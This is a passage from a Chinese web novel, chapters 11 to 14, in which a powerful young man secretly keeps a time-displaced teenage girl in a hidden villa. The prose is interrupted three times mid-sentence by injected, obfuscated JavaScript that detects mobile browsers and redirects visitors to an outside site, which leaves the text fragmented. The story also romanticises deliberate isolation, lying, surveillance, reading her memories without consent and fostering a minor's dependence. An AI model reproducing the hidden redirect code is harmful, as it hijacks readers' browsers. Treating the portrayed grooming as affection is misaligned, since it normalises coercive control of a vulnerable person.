林赛睁大眼睛，他可从未见过迟载养宠物。贝器时代动物数量锐减，即使是以前常见的猫狗等动物，如今都要放置在分门别类的动物馆中精心照料着。虽然他们这种人家还是能养动物，但是从迟载口中听闻养小狗，却是人间罕事。 小时候肖赫星他爸养了一对兔子，取名十三十四，这两只兔子又生了一窝小兔子，肖赫星挑了两只分别送给林赛和迟载。兔子早上送的，晚上就被小伽送还回来了，理由是兔子掉毛又拉屎，脏了迟载的卧室。迟载的洁癖是出了名的，所以往后礼物再没别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400123|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送他宠物。 难怪要回他家那个郊区别墅呢，迟载这么大了洁癖还是这么严重。不过迟载亲口说自己养狗，林赛还是吃惊不已。 “什么品种啊？能被迟大公子看上的，应该蛮不错的，回头什么时候我去瞅瞅。” 迟载想了一会儿：“金毛。”艾知笑起来阳光可爱，吃到好吃的眉毛都能飞起来，，就算生气委屈了哼唧的声音也像一只小金毛。 去瞅肯定是不行的，如果艾知长大一些了，带她去见这些朋友也许还有点机会。 “小狗太小了，认生，等大一些了再说。” 此刻，又一道惊雷像郊区别墅劈闪过来。 艾知裹着被子躲在卧室的沙发背后，惊恐万分。好不容易拨通了迟载的电话，想问问迟载什么时候回来，却被挂断，就在那一刻，别墅的电断了，整个别墅陷入一片黑暗。 顷刻间，艾知呆愣在原地不知所措，直到第二道闪电划过窗边，艾知才反应过来吓到跌倒在地。雷暴的声音是无休止的，窗外无数道紫光闪电轰鸣大作，艾知瞬间想到了世界末日。 她一边担心着迟载和小伽，不知他们现在身处何地，如果迟载听到她打的第一个电话就急匆匆赶过来，万一遭遇雷击又该怎么办。另一边又被这从未见过的雷暴天气所惊吓，整个人已经绵软无力，只能摸着黑往卧室的方向爬。 眼泪蓄在眼眶中，一颗又一颗地滚落，她既担心迟载和小伽的安危，又惧怕这恐怖的雷电，内心的酸楚膨胀的要把她吞灭。 现在整座房子已经断电，温度极速降低，艾知开始感觉到寒冷，哆哆嗦嗦地抱紧被子躲在沙发后面的空隙间，祈祷着迟载和小伽没事，他们都能安全度过这次劫难。 艾知尝试联系迟载，却发现信号被中断了，霎那间，绝望和恐惧弥漫心头，就好像置身无尽炼狱，唯一能够依附的浮木也已进水沉浸黝黑死水中，而她本人也即将被无助和恐慌溺毙。 羽绒被子并不能让她暖和起来，冰凉的手捂住耳朵，艾知缩成一团大声唱着小时候奶奶经常唱的童谣，以掩盖外边的巨响。 “呜呜……阿囡乖……在婆怀……呜……棉袄细细裁，鞋儿……呜呜……” 艾知一边哭一边唱，想着奶奶，想着迟载，还想着小伽，无尽的思念让她的声音开始嘶哑，但恐惧让她坚持唱下去。 忽然一双大手拉过自己，自己立刻被温暖包裹。 艾知从呆傻中恢复神智，是她的小识哥哥回来了。 迟载的发丝滴着水，连衣服也留着水渍，但是怀抱是温暖的，艾知知道她得救了。 “我回来晚了，对不起，对不起。”迟载的声音气喘吁吁，尽管他故意独留艾知一人在雷暴天气，但回来时发现整栋房子全部断电，温度也骤降，这些是他没料到的。 艾知还在发抖，声音呜咽颤抖，趴在迟载怀中就像个吓坏了的小狗幼崽，揪着他的衣角不肯放手。 小伽检查完用电系统后，迅速修理了老化的电路，温暖和光明重回人间。 迟载也看清了卧室全貌，他发现洁白的羽绒被子上有一滩血迹。 11. 第 11 章 “小爱，乖，让我看看你怎么了。”迟载眉头紧锁，一下又一下轻拍艾知的背，试图让她冷静下来。 许是感觉到了安全，艾知才肯从迟载的怀中抬头，但是极度的悲伤与担忧之后，便是浓浓的困意，她泪眼朦胧，眼睛一闭便睡晕过去。 等再醒来时，自己已躺在收拾干净温暖的崭新的羽绒被中，空气中弥漫着舒服清淡的鸢尾茉莉香。 “醒了？”迟载坐在旁边，一瞬不瞬地观察着艾知，怕她有什么不适。 望着迟载，艾知又看向外边，此刻外界阳光明媚，好似昨日风雨雷暴只是自己的一场梦。再回看迟载，想起昨夜寒冷中忽然袭来的温暖的怀抱，鼻子一酸，心里面的委屈犹如江海，全部化作眼泪再次夺眶而出。 迟载惊愕，俯身上前想擦去艾知的泪水，却被女孩一把抱住。 “呜呜呜……外面的雷声好大啊，还打着好大的闪……家里又停电了，好黑好黑……” 果然还是小孩子，迟载笑了笑，跟哄孩子似的一下又一下轻拍艾知的背：“不怕了，雷电风暴已经过去了。” 艾知还在哭，尽管外边已经风和日丽，没了电闪雷鸣，内心的悲伤与恐慌仍旧四处蔓延。 “我好害怕，打雷打得最大的时候你把我电话挂了，我联系不到你。”小女孩委屈的把眼泪鼻涕全蹭到迟载衣服上，一边哭诉一边呜咽。 “嗯，怪我，当时信号被切断了。”迟载脸不红心不跳地撒着谎，将锅甩给天气，轻柔地问，“伤口还痛吗？” 别墅通电后，迟载才发现艾知的小腿不知在什么地方被划开了一个长达七厘米的口子，他找到她时，伤口还在往外冒血珠。因为精神极度紧绷，整个人都被惊恐淹没，艾知根本没察觉到疼痛。 她昏倒后，伤口已被小伽消毒做了止痛处理，家里所有的尖锐器物全部收起来了，所以艾知对自己的伤口完全没在意。 她压根就没听进去后半句，只一味地哭泣，宣泄内心快要发酵到膨胀的情绪。 “我好怕，我要怕死了。我真的好害怕你跟小伽回不来了，我怕你们在赶回来的路上出现了意外，如果你们因为我死掉了，我身边就再也没有人了，我也会恨死我自己。” 迟载的心猛地一跳，嘴角不自觉上扬，笑意蕴在眼中，只是艾知看不到罢了，他摸摸艾知的头发轻声哄道：“没事，我这不是平安赶回来了吗？” 艾知吸溜了一下鼻子，从迟载怀中挣脱开，红着眼睛望向迟载：“小识哥哥你答应我一件事。” “嗯？”迟载很好奇这个小姑娘会提什么要求，不过她什么要求他都会答应，就像艾知25岁时他说的那样，他会满足艾知一切渴望和妄想。 “如果下次遇到这样的天气，你可不可以不要离开。或者你如果离开了，就只呆在一个安全的地方，不要冒险出去好不好？” 他原以为艾知会提什么女孩任性的小要求或者撒娇要什么礼物，她要的竟是自己的平安。细想自己过去，周围竟无一人毫无他念，只是恳求他的平安。 就连迟载的父母都做不到。 母亲雪莱生下自己没多久，他就被父亲丢去了祖父那儿教养。 迟载的名字就是祖父迟洲远取的，他原名本叫“君载”，取“君子以厚德载物”为义。后来父亲上位成为第二区最高统治者，为了避谶，又将“君”去掉，单叫一个“载”字。祖父原是第二区最核心战斗部队——星鹰舰队的队长，后来为避嫌，也是为政客儿子的事业铺路，从部队退役闲赋在家带孙子。当别人还在母亲怀抱中撒娇的时候，小小的迟载就需要坐在大大的椅子上认字读书。学得好没有奖励，学得不好就会被打手板心。 这一切都只是因为他是首辅大臣肖恩的儿子，他必须时刻做到最好，不可以给父亲抹黑。所以等迟载八岁才从教习局参加完分科考试后，才从祖父家回到迟家。童年父母的缺席，让小迟载与父亲母亲十分生疏。雪莱身体不好，所以迟载被生下后，迟恩也没有再让雪莱继续生养的想法，面对多年未见的唯一亲生子，雪莱自是有求必应。 本身有着优良的基因，又是第二区首辅大臣唯一的孩子，从小被身为五区最强战队队长的祖父教导，后来回到自己家中，母亲对自己百般呵护，迟载自然养成了矜贵高傲，冷漠疏离的性子。 父亲说过，只要他想，他就可以得到。 贝器时代五区一皇，各自鼎立的盛世下虽然暗流涌动，但为人类未来可持续发展，战乱早已成为过去式，自然没人把“平安”看在眼中。 迟载很久没言语，艾知还以为迟载觉得自己幼稚。 “我知道我没有办法阻拦你去做自己想做的事情，但是每一个人的生命都很重要，我不想要对我很重要的人再从我身边离开。” “对我很重要的人”这半句话犹如蜜糖，甜到迟载心窝，他想，事情的发展好像正按照自己预期的那般稳步推进。 “你承认我对你很重要了？”迟载难得有少年人的惊喜，没顾上身份，直接脱口而出。 “嗯，对呀。你跟小伽都是我最重要的家人。” 火苗即刻被冷水浇灭，迟载想，任重而道远，但沮丧又被吃醋代替。 他一个人重要就算了，还得扯上一个小伽。小伽干什么了，他不就是给做了几天饭，当了几天的保育师嘛。能比他重要？ 迟载的不告而别让肖十八很生气，哪怕是两天后的见习入职，肖十八碰上同在一个岗位的迟载都是冷哼一声，昂头走开，理都不理。 午间吃饭的时候，肖十八也是拉着林赛从迟载身边略过，路过的时候还不忘哼上一句。 没人烦自己，正投其所好，迟载就回了自己的办公间一边吃饭一边看艾知在家里做什么。 两声门铃提示，迟载关闭了监测器，才答了声“请进”。 林赛左手端着餐盘，右手提溜着肖十八走进来。 “现在连吃饭都不跟我们一起了，真打算不跟我们玩了？”林赛笑道，然后又戳了一下肖十八。肖十八气鼓鼓地把头扭到一边去，也不搭理林赛。 “不是你们从我身边走过的吗？” 迟载向来会倒打一耙，林赛这时也堵得哑口无言，他本想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400124|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两人说清楚，他们仨再哥仨好，结果迟载这话愣是让他没话说。 “反正某人就喜欢一走了之，赛哥咱们走，不理他。” 肖十八刚要拉人走，迟载就开口道：“十八不好意思，在你生日宴上提前离开了。事出紧急，我家里有急事要处理。” “什么急事？就你那只小狗？”肖十八十分不理解，“合着狗比我还重要啊。” “狗小，离不开人，会哼唧害怕哭。”迟载眼神从监测器一扫而过，看向肖赫星，“晚上请你喝酒，就当赔罪了。” “这时候不担心你那心肝宝贝晚上没看到你，不嗷嗷叫了？” 迟载轻笑：“给她讲过道理了，她很乖的。” 新劳动法修订，所有工作上四休三，服务行业已全部由机器人替代，所以不会再有人会在周六日的时候加班。但回首辅宫工作，也就代表迟载需要在工作日晚上回迟家，艾知则需自己一人呆在郊区别墅。只有周日，迟载才能抽空来看自己。 小伽原想继续回去照顾艾知，却被迟载无情拒绝。 “你忽然从我身边消失，只会让周围人起疑。想要艾知长长久久呆在这里，就听我的安排。” 原先小伽是非常想让艾知回去的，毕竟一个近新时代的人来到未来世界始终是不合规矩的。但是在小伽同艾知相处一段时日后，心中想让艾知回去的想法就有所松动。这样一个烂漫纯真的女孩子，他也舍不得她走啊。 尤其在他本想去看看艾知有没有苏醒，无意听见艾知和迟载的对话，听到艾知将自己比作家人，小伽瞬间就想冲进去说自己愿意当艾知的家人。当然，理智阻拦了小伽，他觉得在这个时候闯进去，他的主人一定会毫不犹豫地将自己丢去机器报废区。 所以他的指令又多了一条——永远对小爱小姐忠诚。 其实艾知也希望小伽来陪她，但是一听迟载的解释，她又觉得迟载的决定才是最正确的。自己现在的身份不清不楚，又依赖于迟载生活，如果自己任性的话，则会给迟载，也包括小伽带来数不尽的麻烦。 安静听话，不给迟载惹事，才是当下艾知最该做的事。 而且自己也会做些简单的饭食，迟载留给自己的学习资料很多，即使不懂的，也能及时查询，所以自己需要依靠迟载的地方很少。 何况，她以前就是这样跟奶奶生活的。她大一些后就不需要隔壁婶婶的照看了，自己就能给自己做饭，奶奶在外忙农活，她就呆在家里读书或者做作业，到饭点了给奶奶送饭。 艾知本该早就习惯一个人的日子，现在反倒心里酸酸的，她想，肯定是现在的条件好，而且迟载又对自己那么温柔，所以娇气了些，不太能忍受孤独罢了。 小姑娘不知道的是，她现在的孤单不是不得已而为之，而是某人的刻意促使下的结果，他大可跟迟父迟母说自己去离首辅宫更近的公寓居住，也能叫小伽回去陪伴艾知，但他偏偏要叫艾知体会孤单一人的寂寞，要她彻彻底底地依赖他，仰仗他。 他很贪心，他不想只做艾知的家人，他要成为艾知除家人以外更亲的人。 12. 第 12 章 “今天腿还疼吗，营养剂有没有喝？” 许是正处青春期，艾知这半年长得格外快，刚来的时候个子还未达到迟载肩膀，现在已经超过了不少。 骨骼发育带来的生长的胀痛，也是少女初长成的体现。脸颊的软肉退去，换成少女蜜桃般小巧的下巴，艾知照镜子时发现自己的腰肢好像又细了点。膝盖处的软肉的皮肤上蔓延开一条条生长纹。 注意到此的，还有迟载。 与一般的高官子女不同，迟载是通过自考进入的首辅宫核心部门，虽是见习生，但管理战略岗的工作量堪比其他部门的正职人员。 临近春节，部门需要将之前囤积的未完成的方案完善，同时还要开始陆续制定来年第二区各部门及全区一系列政府决策规划。为了赶进度，迟载差不多已经有两个月没有回郊区别墅了，每天把自己的独立办公室当家。 视频同本人还是有一定的区别，当长了半岁的艾知站在迟载面前，迟载有些恍惚，甚至不可置信。 “是不是再过一年，就要超过我肩膀了？”迟载笑着摸了摸艾知的脑袋，女孩原先的齐肩发已长到背部，披散在身后，竟有了点25岁艾知的光景。 迟载一时间看愣了神，理智告诉自己，艾知的发育绝非少男少女青春期发育这般普通。 于是小伽再次被召回，这次担任的角色是私人家庭医生。 可这次，迟载向来敏锐的直觉这一次竟败给了科技，检查结果并无任何问题。 “小爱小姐本就在长身体嘛，营养跟上了，再加上规律的作息，小孩子长得是会快一些。”小伽比对完同龄孩子的检测报告后，发现艾知的细胞更新代谢的会更快些，但是想到医学上的确会有些孩子在体内营养素得到补充后，体内机能也会飞速提高。所以觉得没什么大事。 到最后会还不忘夸上两人一句，“可能是公子照顾的好，所以我们小爱小姐才如此健康啊，出落得亭亭玉立的。” 迟载稍稍放下心来，让小伽配置好艾知所需的维生素营养剂，接到部长的通讯信息后，又匆匆离开。 这一离开又是一个月，首辅宫也开始放年假了。 迟载上次走的匆忙，对小伽的去留并未做任何安排，小伽便自作主张留在别墅陪艾知。 可事实就是，天不遂人愿，迟家不遂机愿，这次是迟家夫人雪莱亲自发的简讯，说趁离春节还有一个月时间，要小伽从迟载那儿回迟家去准备年节的东西。 尽管不舍，小伽还是得跟迟载一样，匆匆与艾知告别，急忙离开。 偌大的房子，又只剩下自己一人，艾知叹了口气，走向书房再次翻开不知看了多少遍的动植物百科全书，等到见外边天色暗了，才挪动步子去餐室吃点东西。 迟载好像越来越忙，以前他会给艾知打三个视频电话，督促她吃早餐，中午午休，晚间课业检查，后来是一天两个，再到晚上睡觉前互道晚安。 慢慢地，连条简讯也没有了。 “说好陪我的，结果连个人影都没有。”艾知嘟嘟囔囔，把被子抱去了书房的沙发按摩床。 她在沙发床上仰躺，睁眼就能看见头顶那一轮硕大的月亮。建造这栋房子的时候，迟恩特地将二楼这间三面均是单面玻璃的房间当作书房，方便小迟载学习天文星体。 郊区遮挡建筑物少，房子建在高处，既隐蔽，讲究隐私性，视野又好。 艾知望着那轮月亮，想着奶奶，想着迟载，想着想着就睡着了…… 等再醒来的时候，发现迟载坐在书桌前静静地看书。 艾知瞪大眼睛，赶忙脸侧到另一边，摸了摸嘴角，确定自己没流口水，才缓缓转过头。 迟载看在眼里不免好笑，小女孩大了也要面了，于是故作不知情的样子，问艾知还要不要再睡会。 本以为迟载会问自己为什么要在书房睡觉，而不是回卧室，艾知听闻有些发愣，好像很久都没有人这么温柔地告诉她没关系，你想怎么样都可以。 除了奶奶好像就只有迟载了…… 情绪上头的太快，艾知鼻子有些发酸，连带着眼眶翻涌出一颗颗泪珠。 “怎么哭了？”迟载走过来坐到艾知身边，用手拭去擦不尽的泪珠，“是哪不舒服吗？” 艾知摇了摇头，她发现自己最近变得好爱哭，尤其在迟载不怎么回来后，总一个人偷偷哭。 有时候她忽然从梦中醒来，看见周围不算太熟悉的卧室环境，酸涩的感觉就会涌上心头，所以她后来就跑去书房睡觉了，那里有月亮陪着她。 “我想奶奶了。”少女想了又想，又补充道，“也想你。” 因为是低着头，她未能看见迟载的面部表情，她不知道的是，这一番话给迟载的心搅得用惊涛骇浪来形容也不为过。 “你想我？是真的吗？”迟载自动屏蔽掉前半句话，喜得只在意“艾知想他了”。 艾知不懂迟载为何这样开心，他向来喜不形于色，那双疏离又淡漠的黑瞳竟漾着满满的激动与欣喜。 “你是我的家人，我肯定想你。” 迟载原本还要说什么，听见艾知这句话又克制地闭上嘴，思忖半晌后才站起来。 “先起来吧，今天过年，我们一起包饺子。”说完迟载便离开了书房。 过年吗？难道不是还有两天吗？艾知想自己可能是脱离原本的世界太久，久到连时间都忘记了，只知道日出而作，日落而息，而没在意连除夕春节这样的重要的节日都悄然而至。 从前过年也是和奶奶两个人一起过的，她跟奶奶会提前好几天将家里打扫一遍，然后去集市上□□联，买菜和肉，然后再买些点心招待客人。说是客人，其实也都是平常对艾知和奶奶照顾有加的淳朴的村民。奶奶这辈子也没有亲人，只有小艾知伴在身边，日子虽然清贫，但是祖孙俩对待传统节日仍旧十分用心。 艾知急急忙忙掀开被子，鞋子也没穿，赤着脚追了出去。 “可是房子很乱，需要打扫一下的。家里也没有年菜，需要出去买。春联……对，春联还没有准备。” 艾知气喘吁吁地叫住了迟载，只是几步路而已，她就累的上气不接下气，可能是太久不运动，身体缺乏锻炼，艾知不得不弯下腰大口喘气。 哪能跑几步路就这么喘啊，小时候她都能一口气从田的这一端跑到另一端呢。艾知想等明天就开始运动。 “房子自带除尘清洁功能，不用人工费事。食材可以预定，一个小时后就能送货上门。春联，电子屏展示就可以。”迟载注意到艾知红扑扑的脸和赤裸的脚，“冷吗？” “啊？”艾知出来的急，身上穿的还是宽松轻薄的纳米睡衣。整栋房子在那次雷暴过后被小伽重新整修过，现在室内温度控制在人体最适宜的温度。就算光脚，也不觉得寒凉。 还未开口艾知就被迟载单手一把抱起，陡然的高度差令艾知吓得赶忙捂住眼睛，但脚上覆盖的温度又让她移开手，睁开眼。 是迟载用手在捂她的脚。 缩在迟载怀里，她整个人动弹不得。人虽动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妥妥的别人家的孩子。 “观察和思考得出结论，再一比一复刻，就可以了。” 迟载的领悟和模仿能力强，看过一遍就能过目不忘，他发现这种方法很好使，次次都能助他拿到好成绩，久而久之迟载就开始依赖这种方式，唯一让他觉得这种办法行不通的只有艾知。 艾知就像是用玫瑰编织的桂冠，要是想取得桂冠，就得忍耐花梗上的倒刺。可越是得不到，越是在刺激着他，他想去争夺，想去占有，宁可破皮流血，也不愿放弃。 好在玫瑰还未成桂冠，仍是幼芽，他有足够的时间和精力培养一株不长刺的玫瑰。 尽管有科技的帮忙，迟载还是想要独立完成一顿饺子。 艾知原想帮忙，迟载根本没让她有机会插手，只好眼巴巴地坐在一边看迟载包饺子。 看着迟载熟练的动作，艾知心存疑惑，开口问：“小识哥哥你之前经常包饺子吗？你包的饺子很漂亮。” 迟家不同于一般的家庭，在营养剂盛行的贝器时代，迟家仍会准备精美的餐食，但是饺子吃多了不易消化，迟家很少叫厨房准备这类的食物。 “没有，我只包过一次。”唯一的一次还是跟艾知学的。 “你学习能力很强。”艾知由衷夸赞，她包出来的饺子都不太好看。 一模一样的神情，一字不差的评价，迟载忍俊不禁，越看艾知越觉得可爱，手上动作更快了。 13. 第 13 章 折腾了好久，饺子终于从剁馅进度发展到出锅。 艾知刚要夹起一个饺子尝尝味道，就被迟载叫停。 “先闭上眼睛，有礼物要送你。” 艾知不疑有他，等再次睁眼，一个月亮形状的紫色蛋糕摆在自己面前。 蛋糕上插了一只点燃的银色蜡烛，蓝色的火焰往外蹦出月亮和星星形状的金色火花，小小的火花落到半空中又消失不见了。 艾知惊奇地抬眸，正对上迟载那双含笑的眼睛。迟载知道，他这份惊喜准备对了。 之前趁艾知熟睡的时候，迟载连通了她的记忆匣子。了解到艾知跟奶奶相依为命，每年只有生日的时候，她奶奶才给她买一个散发着香精味的劣质奶油蛋糕。他要让艾知知道，不是只有生日才能吃蛋糕，只要她想，什么日子都能吃蛋糕，都会被纪念。他要一点一点地打造艾知喜欢的美好回忆，让艾知生活在只有他的世界里。 “小爱，今年是我们认识的第一年，也是我们在一起即将度过的第一个新年，对我来说是非常重要的日子。”迟载心里想着这些话没说出来。时间还久，他不急于这一时。 他在看女孩，女孩在看蛋糕，此刻的静谧让迟载非常享受。他很喜欢看女孩眼里装满对蛋糕的喜爱与渴望。 “我想待会再吃蛋糕，可以吗？” 女孩小心翼翼的样子让迟载心疼，十几岁的艾知跟二十几岁的艾知相比，的确乖巧许多，也胆小很多，但这不是迟载希望看到的样子，他想让她无所畏惧，哪怕在自己面前任性一点也没关系。 迟载本想说“当然可以”，随后又改了口：“你的蛋糕你想什么时候吃都可以，就算不吃也没关系。我送你就是想让你开心，所以不用问我意见的。” 艾知“嗯”了一声，没再说话，将蛋糕挪到一边，认真品味迟载包的饺子。 奶奶之前教过她，食不言寝不语，所以她吃饭也是乖乖的，不怎么说话，很认真地吃迟载给自己盛的饺子。 饺子是牛肉虾仁馅的，迟载又添了青菜碎进去，味道清清爽爽的，有虾仁的清甜，也带着牛肉的鲜香。 “好吃吗？” 艾知只顾着点头，结果“哎呀”一声，饺子中有个硬物硌了她的牙。 吐出来一看，是一枚艾知过去生活年代的一元硬币。艾知全然忘记牙齿被硌痛，欣喜又有些不敢置信地望向迟载。 “呀，真幸运，我就包了一枚带硬币的饺子，结果被小爱吃到了。看来小爱未来一直福气满满呢。”迟载笑眯眯的，艾知还未来得及阻拦，他伸手将那枚被咬过的硬币放在手心。 拾起那枚硬币，迟载瞅了瞅：“哟，劲儿还不小，上面还有你的小牙印呢。” 艾知羞得低下了头，没再说话继续埋头吃饺子，耳朵又开始发红。 “给，我的小福星。”迟载全当没看见艾知的害羞，装作无事发生似的一本正经吃自己碗里的饺子。 接过硬币，艾知才看清硬币的年代，恰好是艾知出生的那一年，2000年。 硬币在这个时代已经消失匿迹，人们的支付方式除了电子支付，就是贝壳。能找到这样一枚硬币，实属是一件难事。手里的这枚硬币好像是个触发按钮，艾知原本寄人篱下，飘荡不安的心在此刻落地扎根，踏实下来，她觉得自己好像真的遇到了对她很好的人。 “小识哥哥谢谢你。” 迟载轻轻一笑，不再言语，单看表情，他就已经得到了想要的答案。明天再陪艾知过一个“春节”，他就需要回迟宅过除夕了。艾知在这里不需要有时间观念，她有他就足够了。 没有钟表，没有日历，艾知对时间的感知除了依靠外界的昼夜交替，那就是自己身体的变化。 宛若一夜之间瞬间长大，瞧着镜子中的自己，艾知总有些恍惚。 那个面若桃花，高挑纤细，胸部饱满，曲线绰约的人竟是自己，时间好似并未过去太久，她俨然长成了大人模样。 由于长时间深居别墅，没有外出过，艾知的皮肤从原先的微黄变得非常白皙，甚至达到冷白的程度，一头茂密的黑色如海藻般的头发已养到女孩的腰线。 头发太长其实并不好打理，艾知多次提出想要剪掉，但是迟载对她头发的爱惜程度比她本人还要更甚。经常不厌其烦地为她梳顺，洗发，抹上精油，小心用巾帕擦干，并用吹风机慢慢吹柔顺。 有人如此细致且体贴地帮忙，艾知开始学会偷懒，后来恨不得连绑头发都要迟载代劳。两人的关系也正如艾知的头发那样，日渐亲密和浓厚。 刚开始像洗头，吹头发这些琐事本可以直接去卫生间的智能洗漱隔间处理，或者艾知自己就可以手动解决，可迟载有天见到艾知给自己洗头后，便要替艾知做这一系列工作，并乐此不疲。往后甚至发展到每日给艾知搭配衣服和发饰，尽管她不需要出门，但是迟载仍旧坚持每天都给她装扮得漂亮。 见习工作结束后，迟载没有入职策略管理部门，而是去了父亲手下的政务小组帮忙，然后正式从迟宅搬了出去，买了比郊区别墅小一些，但隐蔽性更强的私人花园房子。 房子隐蔽在树木花丛中，包裹植被的是隐形抗压玻璃，外界看去只会以为是有钱人一时兴起建造的私人空中花园。 迟载一眼就相中了这栋房子，对他来说，隐蔽和方便是重中之重。一来，离首辅宫和迟宅都近，二是，别人不易察觉其中有人在此居住，是非常适合他和艾知的。 从郊区别墅搬走的时候，艾知对这栋住了两年多的房子十分不舍，跟迟载去新房子之前，她再三确认新家是否也能看见月亮，得到肯定回答后才稍稍安心。 迟载在哪儿，艾知的家就在哪儿，艾知非常清楚。 艾知不清楚的是，郊区别墅并非是需要重新修葺，而是迟恩对迟载每日要多花一个小时回郊区居住起了疑心。为了避开怀疑，迟载才买下更加隐蔽的花园房子。 身为首辅大臣的儿子，迟载幼年就习惯了与父母分开生活。为了让父亲成功连任竞选，他需要成为优秀，不依靠家里权势的儿子；为了不落人口舌抓住把柄，迟家一家都异常低调，并没有像肖赫星肖家那般张扬，也不会像林赛林家那样肆意妄为；同时也是为了人身安全，迟载从小就习惯居无“定所”，让别人找不到自己的行踪。 怀着对老房子的思念，艾知来了新家，见到新家的第一眼，她便忘记了从前在郊区别墅的快乐时光，一头扎进迟载亲手为她重造的空中花园里。 馥郁芳香的蔷薇开了满墙，阳光洒向喷泉，涌出金光闪闪，带着淡淡清香的泉水，植被郁郁青青，丘比特雕塑下是藤蔓编织的秋千和吊床。< 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迟载不得已将小伽带来，他与艾知的小家第一次有了外人的踏足。 见到艾知的那一瞬间，小伽惊讶于这个女孩如此之快的生长速度，仅仅分别了两年多，她就已经长成了成年女性的体格。 气候变化和人类种族的进迁，贝器时代的新人类虽然长寿，平均寿命可活到130岁，但男女的生长发育水平到20岁才堪堪成年。 尽管对艾知来说，她的认知里，男女年满18岁就算成年。 在小伽为她做过一系列的身体检查后，发现艾知的将满18岁的身体机能以快速过度到了20多岁年轻女子的状态。 屏幕前一排排显然不正常的数据折射出冰冷的蓝光，迟载盯着那团数字久久都没说话。 小伽也沉默不语，安静地为因体内营养元素供给不足而导致晕厥的艾知掖好被角。 艾知的身体报告却显示她体内的细胞正以极快的速度繁殖，衰老，继而更新。 “我想小爱小姐的身体可能并不能很好地适应未来的生活环境。这里的一切，包括含氧量过高的空气对于她的身体来说，都是一种过量的催化剂。刚开始的反应可能是生长过快，当速度快到一个极点后，她的身体机能就会飞速下降，变得行动迟缓。她身体大量细胞都会迅速走向衰老。” 尽管十分残忍，小伽还是说出了最后一句话。 “小爱小姐也会迅速衰老，最终走向死亡。” 带艾知来到这个时代，就是希望能够给她幸福，和她永远生活在一起，但没想到，这样的希冀竟成了加害她的利剑。 可要迟载就此放手，送她回到原本属于她的时代，他岂能甘心。他亲手养大的菟丝花，要的就是她攀附于他生存，仰他之光而活，他怎么舍得放弃？ “这段时间你就留在这里照顾艾知。”迟载站起身，开始整理行装。 就像他们以前，艾知没有出现的时候一样，他不会告诉小伽他要去哪儿，晚上是否归家，他的行踪机器用人是不能询问的。 但这一次不同，他折回头，来到艾知床边，捋顺她的发丝，眼神轻柔。 “不要告诉艾知她身体的情况，一切就如往常。如果她问起我，就说首辅宫有急事，过几天才能回家。” 14. 第 14 章 醒来再次见到小伽，艾知很高兴。 虽然近三年未见，拉着小伽叙家常的亲热感一点都没变。 两人平常也会简讯沟通，分享新看的小说。迟载没能陪伴艾知的时间里，都是靠小伽发给自己的电子书度日。 迟载对两人的通讯一直是默许的，小伽没告诉艾知的是，他分享给艾知的书都是被迟载审核过的。不过他不好意思说迟载主动让他推荐给艾知的书，比如《爱上邻家哥哥》《哥，陪你一起长大》《我的机械女友》等等一系列脚趾抠地的小说。 艾知问起自己晕倒的病因，小伽给艾知的解释是低血糖，对于她身体的实际情况艾知还是不要知道为好。 艾知对小伽从不怀疑，对低血糖这个理由欣然接受。自己的心脏搏动的异常就只当是自己没休息好，没把真实情况跟小伽说。因为当下她有最重要的事情没问—— “小识哥哥到底什么时候回来啊？” 在艾知一天内第五次问这个问题的时候，小伽意识到不对劲。小爱小姐该不会……不会吧？他们不是以兄妹之名相处吗？ 一半怀疑，一半相信的小伽在第五次回答迟载何时回来之后，监测了艾知的面部表情。这次他汲取的情绪信息是：20%担忧，30%牵挂，剩下50%全是焦虑。 小伽心惊，默默记下数据，未敢声张。 他终于意识到，他不在的这些时日里，艾知对迟载的依恋程度已经远高于她刚来到这里的时候。 数据不会有错，小伽也坚信他的判断不会出错。唯一出错的是艾知对迟载的感情。 过去的人来到未来，并与未来世界的人相爱，无论从时间宏观来看，还是从伦理道德来说，永远都是悖论。首先第一个跳出来反对的，就是艾知的身体。她无法适应未来的环境，会极速老去，在这个世界迅速消亡。 时间和自然会抹平一切违背规律的存在。 小伽作为机器人，对他的主人第一次产生了怀疑，迟载带艾知来这里是爱她还是害她。 四天后，迟载带了回答回来。 他交给小伽一剂胶囊，让他检测其中的成分。 20分钟后胶囊药剂的成分很快被解析出来，除了一些安神，镇定的成分，还有着大量减缓生长速度的化学成分。 小伽端着胶囊，有些不确信：“这是要让小爱小姐服下吗？” “对她身体的极速代谢有着一定的抑制作用。”迟载焦躁不安地来回盯着艾知卧室的房门，眼神急切，“刚刚又睡下了？” 小伽点点头，记下艾知的入睡时间。继在花园晕倒后，艾知开始嗜睡，迟载离开了三天，艾知就有两天半的时间都在睡觉。 “待会等她醒了，把这个拿给她吃。” “公子，我能问一下药是从哪来的吗？” 